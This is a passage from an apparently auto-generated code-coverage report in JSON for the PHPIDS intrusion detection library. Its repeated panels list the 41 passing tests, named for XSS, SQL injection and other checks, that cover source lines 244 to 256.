class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel244": { - "header": "41 tests cover line 244", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel245": { - "header": "41 tests cover line 245", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel246": { - "header": "41 tests cover line 246", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel248": { - "header": "41 tests cover line 248", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel249": { - "header": "41 tests cover line 249", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel250": { - "header": "41 tests cover line 250", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel251": { - "header": "41 tests cover line 251", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel252": { - "header": "41 tests cover line 252", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel254": { - "header": "41 tests cover line 254", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel255": { - "header": "41 tests cover line 255", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel256": { - "header": "41 tests cover line 256", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li 